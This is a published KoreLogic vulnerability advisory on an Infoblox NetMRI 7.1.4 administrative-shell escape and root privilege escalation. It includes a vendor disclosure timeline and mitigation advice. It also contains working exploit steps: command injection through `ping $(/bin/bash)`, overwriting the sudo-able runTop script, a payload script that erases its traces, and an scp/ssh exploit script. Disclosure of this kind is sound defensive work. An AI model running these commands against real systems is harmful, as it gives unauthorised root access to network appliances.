Infoblox NetMRI 7.1.4 Shell Escape / Privilege Escalation
Posted on 25 October 2017
KL-001-2017-017 : Infoblox NetMRI Administration Shell Escape and Privilege Escalation Title: Infoblox NetMRI Administration Shell Escape and Privilege Escalation Advisory ID: KL-001-2017-017 Publication Date: 2017.10.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-017.txt 1. Vulnerability Details Affected Vendor: Infoblox Affected Product: NetMRI Affected Version: 7.1.2 - 7.1.4 Platform: Embedded Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-272: Least Privilege Violation Impact: Root Access Attack vector: SSH 2. Vulnerability Description An authenticated user can escape the management shell and subsequently escalate to root via insecure file ownership and sudo permissions. 3. Technical Description The attacker begins by logging into the NetMRI CLI using a previously acquired or default admin account credential. $ ssh admin@1.3.3.7 NetMRI VM-AD30-5C6CE ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS. Last login: Mon Mar 13 15:04:37 2017 from 1.3.3.6 ************************************************************************ ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS. ************************************************************************ NetMRI Administrative Shell --------------------------- Available Commands: acl ftp md5sum register setup autoupdate grep more remoteCopy show cat halt netstat removedsb snmpwalk clear help ping removemib ssh-key configure installdsb provisiondisk repair supportbundle debug installhelpfiles quit reset telnet deregister installmib rdtclient restore tftpsync diagnostic license reboot rm top exit ls recalculate-spm route traceroute export maintenance refreshgroups set A bash command can then be encapsulated using the $() technique. In the case below, we simply call the bash binary. NetMRI-VM-AD30-5C6CE> ping $(/bin/bash) NOTE: Defaulting to MGMT network. Use -I to bind to a specific network... This places us in a new shell. This is the shell of a normal user who has been given access to a subset of commands using sudo. The admin and netmri accounts are permitted to execute various system commands from /bin/ and /usr/bin/ with any arguments sufficient to trivially escalate to root access such as /bin/cp, /bin/chmod, /bin/mv, /usr/sbin/find, etc., as well as some vendor-specific programs under /tools/. These can be used to escalate to root by overwriting /etc/shadow, creating a setuid shell, etc. In addition, numerous commands in users' home directories can be executed as root via sudo, such as multiple /home/admin/* commands runnable by user admin, and /home/reset/FactoryReset for user reset. One such example is runTop. runTop is a script which resides in the home directory of the admin user. In order to escalate privileges to root using a sudo-able command in a user's home directory, an attacker can move the real file, then create a malicious replacement and call it using sudo: [admin@NetMRI-VM-AD30-5C6CE Backup]$ cd /home/admin [admin@NetMRI-VM-AD30-5C6CE ~]$ mv /home/admin/runTop /home/admin/runTop.orig [admin@NetMRI-VM-AD30-5C6CE ~]$ echo '#!/bin/bash' > /home/admin/runTop [admin@NetMRI-VM-AD30-5C6CE ~]$ echo /bin/bash >> /home/admin/runTop [admin@NetMRI-VM-AD30-5C6CE ~]$ chmod a+x /home/admin/runTop [admin@NetMRI-VM-AD30-5C6CE ~]$ sudo /home/admin/runTop Now we have root. [root@NetMRI-VM-AD30-5C6CE ~]# id;uname -a uid=0(root) gid=0(root) groups=0(root) Linux NetMRI-VM-AD30-5C6CE 3.14.25.osib.7.1.0.20160929 #1 SMP Thu Sep 29 12:50:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux [root@NetMRI-VM-AD30-5C6CE ~]# The users admin, netmri, and reset all have similar NOPASSWD sudoers entries for scripts and/or binaries which the privilege escalation can be performed against. 4. Mitigation and Remediation Recommendation There is no known remediation of this vulnerability from the vendor. Administrators should heavily restrict access to any account of any privilege which can use the ping command in the NetMRI CLI. Network access to management interfaces should be properly segmented. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.21 - KoreLogic requests security contact and PGP key from Infoblox. 2017.07.21 - Infoblox suggests 'security_support@infoblox.com' with PGP key id 0xC4AB2799. 2017.07.24 - KoreLogic submits vulnerability information to Infoblox. 2017.07.31 - 5 business days have elapsed since the vulnerability was reported. No response from Infoblox. 2017.09.15 - KoreLogic requests update from Infoblox. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to Infoblox. 2017.10.17 - KoreLogic requests an update from Infoblox. 2017.10.18 - 60 business days have elapsed since the vulnerability was reported to Infoblox. 2017.10.24 - KoreLogic public disclosure. 7. Proof of Concept Payload file (.a) #!/bin/bash mv /home/admin/runTop /home/admin/runTop.orig echo '#!/bin/bash' > /home/admin/runTop echo /bin/bash >> /home/admin/runTop chmod a+x /home/admin/runTop sudo /home/admin/runTop /bin/rm -rf /home/admin/runTop mv /home/admin/runTop.orig /home/admin/runTop /bin/rm -rf /var/home/admin/chroot-home/Backup/.a Exploit bash script #!/bin/bash TARGET_HOST=$2 TARGET_PORT=$3 TARGET_USER=$1 scp -P $TARGET_PORT netmri-privesc $TARGET_USER@$TARGET_HOST:.a ssh -p $TARGET_PORT $TARGET_USER@$TARGET_HOST 'ping $(/bin/bash .a)' The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
